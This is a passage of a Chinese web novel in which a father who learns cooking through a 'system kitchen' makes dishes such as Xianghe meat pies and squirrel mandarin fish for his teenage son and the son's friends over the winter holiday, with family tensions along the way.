深焦糖色的牛肉微微泛着油光，侧面边缘地方被烤出焦脆感，高温产生的“美拉德反应”形成浓郁的焦香，不论是色还是香都特别诱人。 “看着就好吃！”胡一齐还没吃就先夸。 说实话，在玩了一下午游戏后立刻就能吃上香喷喷的晚餐，光是想想就很幸福，楚瑾钰他们哪里还会挑剔牛排的熟度。 烤牛排吃起来和中午的烤羊排一样外焦里嫩，不过两种肉比起来，牛排肉质更加细腻，而且可能是熟度的原因，内里格外嫩滑。 盐的咸激发出牛肉的鲜味，同时衬托出余味中的鲜甜，黑胡椒的颗粒感则让牛肉多了股辛辣气息，不过这抹辛辣味恰到好处，刺激味蕾的同时并没有压住食材本身的鲜味。 楚瑾钰咀嚼着香喷喷的烤牛排，嘴巴根本停不下来。 “你觉得牛排好吃还是羊排？”叶其林边吃边问。 楚瑾钰：“各有各的好吃。” 看到他们吃得那么香，楚易文起身去厨房将烤箱里第二批烤牛排拿出来，先放置一会后才用刀切开，分到每个孩子面前的盘子里。 “爸你也吃。”楚瑾钰见他把牛排都分完，夹起一块放到他面前。 叶其林三人见此有样学样，都夹着牛排往他盘子里放。 “好了好了，我吃不完那么多。”楚易文赶紧阻止。 胡一齐：“没事，楚爸你先吃，吃不完我吃。” 牛排分完，桌上重新安静下来，只有咀嚼声和筷子碰撞声。 烤牛排要趁热吃才香，直到把牛排吃得差不多时，大家才开始吃主食。又弹又筋道的手擀面配上酸甜咸鲜的番茄炒蛋，简直越吃越开胃。 本来胡一齐吃完牛排都感觉有三四分饱，几口番茄鸡蛋盖浇面下肚，瞬间觉得自己还能吃好多。 不光是他，楚瑾钰他们三同样如此，几个孩子大口吃着面，再时不时来一筷子辣椒炒肉或者蜜汁鸡翅，吃得那叫一个香。 等他们吃完饭时天早就黑透，楚易文开车送几个孩子回家时，胡一齐在车上问：“楚爸，放假我还能来你家吃饭吗？” “可以啊，你们想来随时来，人多吃饭还热闹些。”楚易文道。 “好耶！” 胡一齐三人闻言都很高兴，尤其是胡一齐，差点没在车里跳起来。 第37章 香河肉饼 将叶其林三人分别送回家后, 回程路上楚易文又单独对着自家儿子好一通夸，还问他想要什么奖励。 楚瑾钰今天拿到成绩时在朋友面前那叫一个嘚瑟，此时见他爸又开始夸自己, 却是忽然生出几分不好意思的情绪。 “之前说好了要考二十五名，不用奖励。” 楚易文觉得就冲儿子说到做到这点也得好好奖励一下，让他继续保持。毕竟半个学期进步二十名，孩子日常付出的努力，他可都看在眼中。 “等过两天给你买台新电脑怎么样？”楚易文想到儿子房间那台电脑是他上初中时买的，觉得可以换台新的。 “电脑还能用。” 父子二人一路聊着天回家，楚瑾钰想到终于放假就觉得爽, 抱着手机回房间玩去。 楚易文目送他回房间，想想去书房顺手把晚餐时拍的视频剪出来。 晚餐视频后边是楚瑾钰拿着手机帮忙拍的，几个孩子都在厨房里, 楚易文听着视频里热闹的氛围，脸上不由露出笑容。 等到他把视频发出去时，已经是晚上快十点。他发完视频就回房间睡觉去, 可怜大晚上刷到他视频的网友，差点没被馋死。 视频中不光有深焦糖色的烤牛排, 还有琥珀色的蜜汁鸡翅和香煎薯粉团等美食，隔着屏幕都能看出每样都特别好吃。 【爸！你还缺儿子不？我很好养活的，随便给块烤牛排就行。】 【深夜放毒！我就不该手贱点进来，好饿, 想吃牛排了，蜜汁鸡翅看起来也好好吃，那个像饼一样的是什么？】 【真是人比人气死人，别人家爸爸能做出色香味俱全的美食，我家孩子他爸天天只会吃。】 【烤牛排看起来真不错, 我女儿肯定喜欢吃，明天买点牛排学着做一下。】 【听作者声音还挺年轻，没想到已经当爸了，听视频里的说话声，好像还有好几个儿子……】 不少网友指责楚易文深夜放毒时，他正在系统厨房里学习香河肉饼。 “花椒水是去腥增嫩的关键，一定不能少……”老爷子将香河肉饼重点需要注意的地方说完，就示意他开始做。 揉面、醒面已经难不到楚易文，将面粉与温水按照比例揉好，很快一个光滑的面团就在他手底下成形。 揉面是个力气活，不过看到面粉逐渐在自己手底下被揉成面团，过程还是挺有成就感。他轻轻拍拍面团表面，将它放到旁边醒着，转身开始调肉馅。 老爷子要求严格，绞肉机什么的压根不用想，楚易文认真挑选出肥瘦比例一比一的牛肉用刀背砸成肉泥，随即加入葱姜末、香油、盐、生抽等调料一起搅拌。 当然，老爷子提醒过的花椒水他并没有忘记，把花椒水认真搅拌进馅中。 传统香河肉饼讲究一斤面、一斤肉、一斤葱，楚易文手里调制的肉馅基本按照这个比例，此时盆中肉馅肉和葱两种颜色交融在一起，看起来还挺漂亮。 肉馅调好时面团已经醒得差不多，楚易文开始擀面包馅。由于他之前就刷视频进行过基本的学习，现在有老爷子在旁边指点，做得还挺有模有样。 肉饼包好，接下来就是烙，由于香河肉饼皮薄肉厚，烙饼时火候很重要，火如果太大就会导致外面焦了里面却没熟。 楚易文开着小火很有耐心地慢慢烙着，随着他频繁翻面，饼皮两边逐渐变成金黄色，肉饼香味开始从锅里飘出来。 在看到面皮酥脆起层，饼皮鼓起却没破时，他眼睛微微亮起来，觉得这次香河肉饼应该是做成功了，等下次去小饭馆时如果再有顾客点，应该不会再差评。 他想得很好，然而老爷子却是比小饭馆里顾客还要严格，在他将饼出锅用刀切开时，老爷子直接喊他重做。 楚易文早就习惯他的高要求，倒是没再嘀咕什么，而是自己拿起饼品尝起来。 肉饼吃起来还挺香，外皮酥脆带焦，肉馅咸香不腻，不过多吃几口他就发现问题，肉馅汁水好像不太够，同时有些地方肉不够嫩。 看来花椒水没加够，刚刚烙饼时火候还有些欠缺…… 楚易文边吃饼边反思，等吃完就洗干净手重新开始做饼。 看得出来老爷子对他态度还挺满意，站在旁边几不可察地点点头后，在他调馅时直接拿筷子敲了下他手腕，让他继续加花椒水。 “那么多花椒水，不用你留着喝吗？” 在老爷子的毒舌声中，楚易文终于把馅调好，随着花椒水的增加，这次肉馅汁水感明显更足些。 “烙饼时翻面要频繁没错，但过犹不及……” 在老爷子细节提醒下，楚易文第二次做出的肉饼明显更加完美，等他把冒着热气的肉饼切开，焦黄色的饼皮包裹着红润肉馅，馅中夹杂着点点葱绿色，看起来卖相诱人。 “老师。” 楚易文切好肉饼将盘子端起来，这次老爷子没再拒绝品尝，吃完给了个“不错”的评价，不过同时还提醒他要多练。 “我知道了。” 学会新的美食，楚易文心里很有成就感，从系统厨房出来进入梦乡时，唇角微微上扬，显然做了个好梦。 次日，他依旧天还没大亮就醒来，下意识往厨房走，不过走到一半忽然想起放寒假了，儿子不用再去学校。 猜测儿子今天大概率不会起太早，楚易文没急着去做早餐，而是脚步一转，打开门来到院子里。 门刚打开，冬日的冷风伴随新鲜空气一起扑面而来，楚易文身体素质不错，倒是没觉得冷，他视线微微上抬，发现还真在下雪子。 他没在大门口站太久，随着风越来越大，就直接关门进屋里去。 跟外面的寒风呼啸比起来，家里就要暖和得多，楚易文在客厅转悠一圈，最终还是走进厨房，先拿出花椒冲洗一下放到碗里泡着，好泡出花椒水待会做香河肉饼，随即又把米给洗好，准备煮个粥。 由于香河肉饼本身就是纯肉馅，楚易文觉得粥里没必要再加其他食材，简简单单的白粥就很好。 他特意磨蹭了一下，等粥煮好时已经七点多快八点，想着太晚吃早餐也不好，于是开始做肉饼。 “今天做一道香河肉饼……” 楚易文将手机调整好角度后，开始揉面做饼。 厨房里刚开始只有白粥纯粹的米香，随着他将肉饼做好开始烙时，先是面皮特有的焦香从锅里飘出来，随着温度越来越高，肉香味从饼皮里钻出来，肉香混着焦香，香味越来越浓郁。 房间里。 楚瑾钰昨晚睡得比较晚，哪怕六点时他短暂地醒了下，反应过来已经放假的他还是选择继续睡。 不过睡梦中，他总感觉闻见股特别诱人的香味，肚子不自觉咕咕叫起来。 “哈……” 楚瑾钰打了个哈欠，伸手摸到手机点开，发现才八点多，困意让他想继续睡，但肚子咕咕叫却在催他起来。 就在他犹豫是睡觉还是吃饭时，外面传来他爸喊他吃饭的声音，于是他瞬间就不用再纠结，直接起床开始洗漱。 冬天实在太适合睡觉，楚瑾钰刷牙时眼睛还有点睁不开，直到从房间出去，闻见那股浓郁诱人的肉香，整个人才精神不少。 “肉饼？爸你连这个都会做，太厉害了！” 楚瑾钰走到餐桌前看到香气四溢的香河肉饼时，心里产生一种怀疑，怀疑他爸当初读的不是大学，而是新东方。 “尝尝，这是香河肉饼。” 不用楚易文催，楚瑾钰坐下来就立刻夹起块饼到碗里，张嘴直接咬上去。 由于饼皮很薄，加上饼被切开后厚厚的肉馅本就外露，他一口就咬到肉，嫩而不柴，肉汁饱满的肉馅配上酥脆焦香的面皮，简直不要太美味。 楚瑾钰大口咀嚼着，越吃越觉得香，本来还有点没睡够的他此时完全不困了，满脑子都是“世界上为什么会有这么好吃的肉饼”。 肉饼虽然是纯肉馅，但由于里面放了好多葱，加上面皮吸油，整体吃起来油润却不腻。 看到儿子一会工夫就吃完两块饼，楚易文将醋碟推过去：“要是觉得腻的话可以加点醋。” 其实醋里加点蒜泥更解腻，不过由于他儿子不爱吃生蒜，他这才没准备。 “一点都不腻，好吃。”楚瑾钰感觉根本用不着醋碟。 看到他喜欢吃，楚易文觉得不枉他昨晚就赶紧学会这道美食。 他笑着端起碗喝了两口白粥，浓郁的米香从喉间滑过，在冬天来上碗热乎乎的粥，整个人特别舒坦。楚易文咽下粥才开始吃饼，他先单吃一块，感受着饼皮的酥脆焦香与肉馅的鲜嫩多汁。 吃第二块饼时，他稍微淋了点醋，醋的酸香激发出肉馅更深层次的鲜美，同时中和肉馅的油腻，吃起来别有一番风味。 今天的早餐父子二人吃得都特别满意，以至于楚瑾钰都忘记拍照片发到群里馋胡一齐他们。 不过他没发，中午时胡一齐却是在刷短视频时，看到楚易文账号最新发布的视频。 在看到视频里香河肉饼的制作过程，以及最后他用刀切饼时，刀划过饼皮发出的酥脆声，以及饼被切开露出的肉馅，差点没把胡一齐给馋死。 “啊啊啊……我也想吃好想吃香河肉饼！” 他没忍住在房间里叫起来时，他爸直接开口骂道：“一放假就在家里发疯！饿了不知道早点起来吃饭，我怎么就生了你这种儿子！” 错过美食本来就令胡一齐心痛，听到他爸的话，他直接从床上跳起来打开门：“你还好意思说，你看看人家爸爸，长得又帅，性格还好，会赚钱还会做饭，你看看你……” 见他当儿子的还嫌弃自己这个爸来，胡父觉得他简直倒反天罡。 “人家爸那么好，有本事你去当他儿子去啊！” “你以为我不想吗？哼！我这就找我爸去！” 胡一齐说完把外套一穿，鞋一换，撒腿就往外跑，想着早餐是错过，但现在过去说不定能赶上午饭。 “你……” 胡父见他还真去，差点没被气吐血。 胡一齐跟他爸关系不好，寒假期间倒是真没少往楚瑾钰家跑，不过叶其林和商时贸跟他情况不同，他们倒是想天天来，但根本没机会。 假期的日子总是过得特别快，眼见离过年时间越来越近，楚易文找保洁将家里卫生搞完后，带着儿子出门采购年货。 “有没有什么想吃的？”楚易文将车停好，带着儿子进入商场。 楚瑾钰从小到大就没缺过零食，听到他爸问，还真想不到有什么想吃的，而且现在他觉得最好吃的东西就是他爸做的一日三餐。 得亏这话他只是在心里想想，不然楚易文要是听见，怕不是要乐开花。 商场人很多，而且已经布置上各种和新年相关的摆设，甚至连音乐声都透着新年气息。 楚易文路过一个卖各种水果冰糖葫芦的摊子时，见有不少小孩站在玻璃柜前，顺手买了串草莓冰糖葫芦递给儿子。 “我又不是小孩子，你总给买冰糖葫芦干嘛？”楚瑾钰语气透着无奈，不过还是伸手将冰糖葫芦接过来。 楚易文：“还在读书，怎么不是小孩。” “我马上就要成年了！”楚瑾钰说完大口咬着草莓冰糖葫芦，显然是觉得自己这么大的人还吃这玩意，怕被笑话，想要赶紧毁尸灭迹。 楚易文含笑望着他，等他吃完又指着不远处卖蛋仔冰淇淋的摊子说问他要不要吃。 “冬天吃冰淇淋，奶奶要是还在，她得骂死你。” “冬天才适合吃冰淇淋……” 听到他爸开始说歪理，楚瑾钰直接掏钱去买了两个，觉得要吃一起吃，反正有他爸陪着，丢脸的也不是他。 果然，父子二人各自拿着个冰淇淋后，顿时吸引不少目光。不过大家显然并没有笑话他们的意思，年轻人是羡慕他和他爸感情好，小孩子则是纯馋。 眼见儿子没有什么想吃的东西，楚易文只能按照往年一样随便买点开心果、松子、瓜子、糖果、水果和福字春联之类的东西。 父子二人买完东西在车里放好后，楚瑾钰开口：“爸，中午我请你吃火锅。” 他想着他爸天天做饭也挺辛苦，今天既然已经出门，不如在外面吃。 儿子说要请自己吃饭，楚易文高兴还来不及，自然不会拒绝：“行啊，去哪里吃？” “就在商场外面，不用开车。” 楚瑾钰说完在前面带路，同时还在群里发了条消息，问胡一齐他们要不要一起吃火锅。 叶其林没空，胡一齐和商时贸倒是立刻就回复说他要来。 “走路时别玩手机。”楚易文看到他差点撞到路边的柱子，伸手把人往旁边拉。 楚瑾钰：“吃火锅人多才热闹，我问了下他们，胡一齐和商时贸说要来。” 楚易文没有意见，点点头问他是去哪家火锅店吃。 “就在马路对面。”楚瑾钰说完，楚易文顺着他手指的方向却是先看见个熟人。 “婶子，你怎么不卖菜，改卖起烤红薯了？”楚易文走向马路边推着三轮车卖烤红薯的老人。 老太太看到他，直接从炉子里拿个红薯递过去：“天冷了没有菜卖，就烤点红薯卖卖。” 楚易文伸手接过来，见三轮车上有二维码，直接拿手机扫码。 “不用给钱，我请你吃。” 楚易文跟老太太两个人正客气时，楚瑾钰望着站在三轮车旁边的人打招呼道：“邵言易，你怎么在这？” “陪我奶奶卖红薯。” 二人话落，两位大人反应过来，老太太看向自家孙子：“这是你同学？” “对。” 老太太闻言，立刻又拿个烤红薯往楚瑾钰手里塞。 “谢谢奶奶。” 楚瑾钰看到她下意识想到自己奶奶，声音都不自觉放低些，与此同时，楚易文却是望着老太太身边的少年，有种世界真小的感叹。 他是真没想到，之前买过好几次菜的老人竟然是邵言易奶奶，想到梦中就是因为这位老人去世才导致自家儿子和胡一齐几个的悲剧，视线下意识落在老人脸上。 “叔叔好。” 邵言易也没想到自己奶奶竟然认识楚瑾钰爸爸，觉得还挺巧，礼貌地开口打招呼。 “你好。”楚易文想着自家儿子如今早就不抄作业，肯定不会再有梦中那种结局，很快就收拾好情绪。 楚瑾钰并不知道他爸刚刚那瞬间心里闪过多少复杂的情绪，跟邵言易聊了几句，甚至还询问他们要不要一起去吃火锅，得到否定的答案才跟对方道别。 “你跟那位同学关系怎么样？”过完马路后，楚易文想到自家儿子刚刚竟然邀请对方一起吃火锅，不由问。 “还不错，他是我前桌，我们班的学霸，不光是全班第一，还是全年级第一……” 楚瑾钰跟他爸介绍同学时，三轮车那边，邵言易也在跟奶奶介绍自己的同学。 “他就是上次下大雨请我吃饭的同学，他爸厨艺特别好，每次给他带的饭都能把班上同学给馋死，之前元旦节时他爸还做了……” 邵言易奶奶从孙子的语气中听出几分羡慕，想到自家早逝的儿子，忍不住拍拍孙子胳膊。 “你那位同学的爸爸人确实挺好，在我这买过好多次菜，我本来还以为他是帮家里人买菜，没想到他连饭都会做。”老太太这辈子都没见过几个在家里做饭的男人，觉得他是真不错。 祖孙二人边卖红薯边闲聊时，楚瑾钰父子二人已经到达火锅店，店里人特别多，不过好在还有位置。 他们把锅底点好，楚瑾钰直接拍了菜单二维码丢到群里，让胡一齐他们自己点菜。 “爸，你想吃什么随便点。” “这么豪横？不怕把你吃穷了？”楚易文笑着打趣。 “我有钱。” 楚瑾钰这个学期都是在家吃饭，零花钱攒下不少，加上从小到大的压岁钱，他说这话底气十足。 楚易文闻言也不跟他客气，挑着自己爱吃的菜点了不少。 很快，服务员将锅底和菜品陆续送上桌，楚瑾钰在群里询问胡一齐他们到哪时，楚易文拿手机对着桌面拍了几张照片，直接发了个朋友圈，文案是儿子请他吃火锅。 朋友圈发出去没几分钟，吴有健直接发消息过来【我喊你出来吃饭你就没空，你宝贝儿子请你吃个火锅还要发朋友圈炫耀，你可真行！】 【你那是请我吃饭吗？明明是想要我陪你去酒局。】以前为了工作，楚易文不爱喝酒也得喝，现在公司都已经放下，他傻了才去。 【行行行，那下次不喝酒，我单纯请你吃个饭总该赏脸吧？】 【到时候再说，不聊了，我要吃火锅了。】 楚易文看到胡一齐和商时贸一起过来，将手机放下。 “楚爸！今天怎么忽然想出来吃火锅了？” 胡一齐热情地跟他打招呼，等他说完，商时贸才边坐下来边喊了声“楚爸”。 “瑾钰说要请我吃火锅。”楚易文说完起身去给几个孩子调料碟，顺便还带了几盘水果上来。 他去调料碟时，几个孩子也没闲着，商时贸跟过去帮忙，楚瑾钰和胡一齐则是将食材往锅里下。 等楚易文和商时贸端着料碟回来，胡一齐将刚烫好的肥牛夹到他碗里：“来楚爸，你吃第一块肉。” “谢谢。”楚易文笑着将肥牛在料碟中滚一圈，本就吸收汤底麻辣味的肥牛吃起来更加美味，“不错，这肥牛火候烫得正好。” “楚爸你调的料碟真香，这家点我跟楚瑾钰来过几次，就数今天最好吃。” 听到他们你夸我我夸你，楚瑾钰无语地翻个白眼，觉得不知道的怕不是要误以为他们才是父子俩。 “来，毛肚好了。”楚易文将烫好的毛肚分别夹到三人碗中，留下最后一部分给自己。 冬天本来就是吃火锅的好季节，加上还有楚易文这个不扫兴，还对每样食材火候把握得特别好的家长在，这顿火锅吃得楚瑾钰三人连头都差点抬不起来，光顾着吃去。 第38章 松鼠鳜鱼 前两天出去吃火锅时有多开心, 最近两天在家里写作业楚瑾钰就有多头秃。 “明明昨天已经写了作业，为什么今天还要写……” 楚瑾钰有点想摆烂，他觉得做好学生太难了, 还是以前好，作业想做就做，不想做到学校抄一下就好。 “你昨天吃过饭今天不是还要吃饭。”楚易文听见他嘀咕声顺口回一句。 见他爸说完就在旁边坐下来，楚瑾钰心里暗暗吐槽，觉得自己真是贱得慌，以前觉得他爸不管他，现在又恨不得他爸不管他。 “快写, 早点写完就可以痛快玩了，你也不想拖到大年三十那天还要写作业吧？”见儿子握着笔半天没写几个字，楚易文开口提醒。 他以前写作业压根不用父母催, 都是假期刚开始就赶紧写完，剩下的时间便可以痛快玩耍，其实有些理解不了自家儿子为什么那么喜欢磨蹭。 就在楚易文话刚说完没多久, 家里门铃忽然响起，他还没反应, 楚瑾钰先跳起来：“我去开门！” “楚爸，提前给你拜个早年，这是我小叔送给我家的海鲜，我给你拿点过来。” 门外是叶其林, 他无视给自己开门的楚瑾钰，拎着东西直接往屋里走。 “来就来，带什么东西，不用，你拿回家吃。”楚易文起身走过来。 叶其林：“我爸妈让我拿的, 你不收我回去要挨揍了。” 他这却是睁着眼睛说瞎话，实际上是他看家里海鲜不错说要送人，他爸妈听见他张口闭口“楚爸楚爸”喊着时其实有些吃味，尤其是他爸，听到他喊别人“爸”喊得那么亲热，浑身散发出醋酸味。 “那中午在这吃饭。”楚易文想着既然他不肯拿回家，那做好给他吃掉也是一样。 叶其林觉得这个可以有：“好，我给我妈打个电话说一声。” 他说完立刻开始打电话，电话刚接通张口就是：“喂，妈我中午不回家吃饭了，在我楚爸家吃。” 电话打完他是开心了，他家里，叶父叶母对视一眼，叶父不大高兴道：“都说女生外向，怎么咱们家生个儿子也这样，难得放假不说在家里陪陪父母，天天就知道往别人家跑，还喊人家爸……” “行了，那说明人家对你儿子好，多个人疼他你还不高兴，没听其林说，他上个学期基本上都是在人家那吃饭。” “你这话说的，咱们家还能缺他饭吃？家里又不是没阿姨给他做饭，他想吃什么没有。”叶父说完哼道，“你就是站着说话不腰疼，要是哪天儿子对着别人喊‘楚妈’喊得那么亲热，我看你怎么办。” 叶其林不知道家里父母正在蛐蛐自己，他正打开自己带过来的保鲜盒，对着里面张牙舞爪的大龙虾拍照，拍完发到群里问胡一齐和商时贸要不要过来吃饭。 当然，其实是楚易文让他问的，毕竟海鲜不能隔夜，至于为什么不让楚瑾钰问，显然是楚瑾钰还得继续做作业。 “楚爸，胡一齐说他要来，商时贸还没回我消息。”叶其林说完在楚瑾钰旁边坐下，敲着桌面道，“赶紧写作业，那么大个人了，能不能自觉点，别天天让楚爸操心。” “你装你妹啊，我才不信你作业写完了。”楚瑾钰想到对方刚才在他爸面前装模作样，说他每天上午和晚上都会固定拿出两个小时写作业，作业早就写完，就有点想吐。 “你爱信不信，赶紧写作业，别故意摸鱼。”叶其林说完转头对着厨房喊，“楚爸你放心做饭，我会替你监督他写作业的。” 楚易文应了一声，随即对自家儿子道：“瑾钰你赶紧写，写完就能跟其林他们一起玩了。” “爸你信他个鬼，他……”楚瑾钰觉得自己应该揭穿叶其林这个绿茶男的真面目，然而话才说到一半就被叶其林伸手捂住嘴。 两个人这边打打闹闹时，厨房中楚易文正在处理食材，叶其林拿过来的海鲜中有只大龙虾，另外还有好多九节虾，他想着大龙虾可以直接清蒸，九节虾正好做前两天刚学会的油焖大虾。 楚家气氛正热闹时，胡一齐拎着从家里搜罗到的各种礼盒打车过来，而商时贸则是在自己家里，听着他爸妈跟他大哥聊天。 “妈，我出去一下。” 他本来想跟他妈说一声就去楚瑾钰家吃饭，结果话落，他妈还没反应，他爸先板着脸道：“马上到饭点了，你不在家吃饭又要去哪？你哥像你那么大时多懂事，你真是……” “好了好了，大过年的就别说孩子了。”商母打断丈夫的话，不过转头却是望着小儿子说，“你别总想着玩，没事就拿着课本多请教请教你哥。” 知道中午肯定出去不成，商时贸表情冷淡地点点头就直接回自己房间去，关上房门前他听见他爸好像又在说他什么，只当没听见。 在群里发条消息表示自己中午不过去吃饭后，他将手里丢到床头柜上，自己倒在床上闭上眼睛。 楚家。 胡一齐拎着一堆烂七八糟礼盒进门时，把东西放到茶几上人就冲进厨房：“楚爸！我可太想你了！” “不是前两天才见过。”楚易文笑着道。 楚瑾钰在外面插话：“他是想你做的菜。” 他说完觉得不能自己一个人吃学习的苦，于是道：“胡一齐你作业做完没？没有的话赶紧过来跟我一起做。” 好不容易放个寒假，没哪个学生会想做作业，胡一齐闻言下意识道：“我做完了！” “骗鬼呢！”楚瑾钰才不信。 胡一齐：“你不信自己去我家里看。” 在他也加入监督楚瑾钰做作业的队伍中时，三人凑在一张桌上那叫一个热闹。 楚易文听着儿子跟两个朋友吵吵闹闹的拌嘴声，没有说他什么，而是将米饭蒸上就开始做菜。 清蒸大龙虾做法简单，先将龙虾□□，再清洗干净，开背后上蒸锅就行，蒸好调个料汁淋上去，最大限度保持食材本身的鲜甜。 油焖大虾是他前两天用积分抽奖抽中，本来就准备这几天买点虾回家做给自己吃，没想到叶其林正好就送虾过来。 楚易文将九节虾虾脚、虾须都剪干净，虾线挑掉，随即起锅烧油将葱姜蒜煸出香味，再将虾下入。 虾刚入锅没多久颜色就渐渐变深，随着他用锅铲轻压虾头，虾脑融入油中将颜色染成红油。 香味开始从厨房飘出去时，胡一齐三人不自觉安静下来，闻着那股诱人气息，还没吃就感觉很幸福。 美食是真的能令人心情愉悦，本来因为家里一些事情，胡一齐心情其实没有表现出来那么好，现在闻着菜香，想到马上就能吃到色香味俱全的菜肴，他脸上露出发自内心的笑。 “我去帮楚爸拍视频，你自己慢慢做作业吧。”胡一齐想着在厨房说不定能提前蹭两口，起身就跑走。 叶其林觉得跟监督楚瑾钰做作业比起来，还是看楚爸做饭更有意思，于是直接跟上。 “两个没义气的家伙。”楚瑾钰吐槽完，也没有继续做作业的心思，趁着现在没人盯着他，直接拿出手机玩起来。 很快饭菜全部做好，清蒸大龙虾摆盘精致，放在桌中间别提多诱人。除了大龙虾外，油焖大虾卖相同样漂亮，红亮油润的虾躺在盘中，散发着浓郁的鲜香。 除了叶其林带来的两样虾，楚易文还做了羊肉汤、干煸藕丝、红烧排骨、豆腐酿肉、蒜苗炒腊肉。 “哇，这看起来跟年夜饭都有得一拼了！” 胡一齐大声夸赞时，叶其林顺手用手机对着桌上连拍几张照片。 “趁热吃。”楚易文招呼道。 胡一齐和叶其林又不是第一次过来吃饭，压根不用他招呼，握着筷子就直接朝大龙虾下手。 清蒸大龙虾吃起来鲜嫩有弹性，食材本身的鲜甜和料汁的咸鲜完美融合，简直不要太美味。 叶其林：“好吃，比我家阿姨做的好吃多了！” “油焖大虾也好好吃！”胡一齐速度快，刚咽下清蒸大龙虾就又吃上油焖大虾。 经过油焖的大虾，虾壳变得酥脆，吸收酱汁的咸鲜，嚼起来很香。虾肉紧致鲜嫩，咸中带甜，甜中透着鲜，吃起来回味无穷。 “楚爸，你平常做饭都那么好吃，我都不敢想，你家年夜饭时该有多丰盛。”胡一齐连吃两个油焖大虾后，心里甚至有些羡慕起楚瑾钰来。 楚瑾钰：“没事，到时候我拍给你看你就知道了。” “楚爸你看他！” 楚易文笑着望着他们，给一人盛了碗牛肉汤。 午餐结束，叶其林和胡一齐跟楚瑾钰一起打了会游戏，不过没留下吃晚饭，而是下午四点左右就回家去。 叶家。 “别人家的饭就那么好吃？” 叶其林刚到家，就听见他爸带着几分阴阳怪气的声音，闻言直接打开手机炫耀起来：“那当然，楚爸做的菜放到网上都能馋哭一群人。” 他并没有夸张，楚易文账号在网上发视频时间并不久，目前已经有上万人关注，都是被他详细的做菜手法，以及成菜后诱人的卖相给吸引。 叶父刚开始有些不屑一顾，等看完几个视频后开口道：“他是哪个酒店的大厨？” “人家是房地产公司老板，不是酒店大厨。”叶其林说完想收回手机，结果他妈还要继续看，不肯给他，便只能在沙发上坐下。 “不是酒店大厨能做菜做得那么好？你骗我玩呢？” 叶其林：“谁骗你，楚爸他只是单纯在做菜方面有天赋，他今天中午做的虾贼好吃，那叫一个鲜。” 叶母望着视频中那些色香味俱全的菜肴，再看他儿子拍的午餐，忍不住抬眸。 “你看我干嘛？”叶父被她看得后背有些毛毛的。 叶母：“你看人家老公，又会赚钱还会做菜……” 叶其林赞同地点头，也看向他爸：“就是，你看看人家爸爸！” 叶父眼见惹不起他们母子二人，干脆直接起身躲进书房里去。 * 时间过得飞快，转眼就到大年三十当天。 终于解决完寒假作业的楚瑾钰无事一身轻，吃完早餐就在群里嘚瑟【你们一个个在我爸面前装得跟个乖宝宝一样，有本事把作业拿出来看看，我可是都写完了［图片］［图片］】 胡一齐【切，你得意什么，要不是楚爸天天提醒你，你哪有那么自觉。】 叶其林【就是，有那闲工夫你还不赶紧看课本去，可别忘记你答应楚爸下个学期要考前二十名。】 楚瑾钰心里其实有点后悔自己那天说什么二十名，不过这会还是嘴硬道【区区二十名而已，对我来说小菜一碟。】 商时贸【那我可得好好看看，看你开学后月考能进步多少名。】 【大过年的，能不提开学和月考吗？】楚瑾钰啪啪啪打字。 四人在群里瞎聊一会后没事干，于是又开始开黑打游戏。 叶其林今天跟爸妈一起到爷爷奶奶家过年，临近中午时，他最先退出游戏。又两把游戏结束，商时贸也表示不打了。 “那我也不打了，马上吃午饭了。”楚瑾钰在游戏麦里说完，直接下游戏起身去厨房。 楚易文听见脚步声头也不回道：“中午简单吃点，晚上再给你做好吃的。” 楚瑾钰望着桌上三菜一汤，觉得他爸口中的简单可真不算简单。 他这边简单吃个午饭，饭后无聊地坐在沙发前看起电视时，胡一齐家气氛却是不太好。 “孩子还小，不懂事很正常。” “十几岁的人了，小什么小！天天吃老子的喝老子的，一点都不听话，都是被他妈那个死女人教坏了！” 大过年的胡一齐本来不想跟他爸吵架，可他实在没想到，他爸竟然把小三带回家，还让他喊对方“妈”。 “你才是死男人，管不住下半身的死男人，你们这对渣男贱女！真是恶心给恶心开门，恶心到家了！我呸！”胡一齐觉得就这还过个屁年，大家都别过了。 说完他直接把桌上饭菜给掀了，随即又将酒柜给砸掉，在他爸心疼得要打人时，他直接撒腿就跑，跑的时候还不忘拿上手机。 从家里离开，他随便找个网咖开了台机子，打着游戏来分散自己注意力，不然他怕他会越想越气，把自己给气死。 冬日里太阳落山得特别早，胡一齐窝在网咖里哐哐打游戏宣泄情绪时，外面天不知不觉间就暗下来。 又一把游戏结束，他手机忽然响起来，胡一齐转头看到屏幕上“妈妈”两个字，赶紧伸手接通：“喂，妈妈。” 胡一齐妈妈是接到前夫电话被他骂了一顿，得知儿子离家出走，这才赶紧打电话过来。 “我没事，就他那个鬼德行，我跟他吵架不是很正常……”胡一齐避重就轻，并在他妈提出让他过去过年时直接拒绝。 他妈当初为了他拖了好久才离婚，现在好不容易有自己的新生活，胡一齐是真不想再拖累她。 结束通话，胡一齐望着暗下来的手机屏幕，明明是他自己拒绝去他妈那，但此时却是莫名有些难受和委屈。 隔壁市，胡一齐妈妈挂掉电话后想想还是不放心，于是翻通讯录又打个电话出去。 楚瑾钰接到胡一齐妈妈电话时有些惊讶，不过在得知胡一齐和他爸吵架离家出走时，却是立刻道：“阿姨你放心，我让他到我家里来过年。” 结束电话，他直接一个视频打给胡一齐。 视频接通，楚瑾钰望着对面有些暗的光线，猜到他八成在哪个网咖里：“我爸喊你过来吃年夜饭，来不来？” “谁家好人大年三十跑别人家吃年夜饭。”平常吃饭最积极的胡一齐这次却是没答应。 楚瑾钰闻言，直接往厨房走，将视频对准灶台前：“真不来吗？我爸今晚做了好多好吃的，有炸酥肉、炸丸子，还有红烧肉、辣子鸡、四喜丸子……现在他正在做松鼠鳜鱼……” 镜头中，改完刀，腌制过，拍完粉的鱼被楚易文提着尾巴放入油锅，鱼肉花刀接触热油，棱形块开始卷曲，形成漂亮的“松鼠尾巴”状态。 随着油锅里咕噜噜冒着油泡，松鼠鳜鱼被炸成金黄色，炸出来的形状更是漂亮。 “好香啊！”楚瑾钰闻着炸鱼产生的焦香发出感叹，把手机那头胡一齐馋得不自觉咽口水。 楚易文不知道儿子为什么忽然要喊胡一齐来家里吃年夜饭，不过还是边将炸定型的松鼠鳜鱼再次复炸，边开口：“一齐，你上次不是好奇我年夜饭会做什么，正好过来一起吃。” 胡一齐有些犹豫：“可是我外婆以前说过，过年去别人家不太好……” “一齐，你这可太令我伤心了，平常喊得那么亲热，现在又说我是别人。”楚易文先开了句玩笑，随即带着点认真道，“你既然喊了‘楚爸’那就跟我半个儿子一样，来吃个年夜饭有什么。” 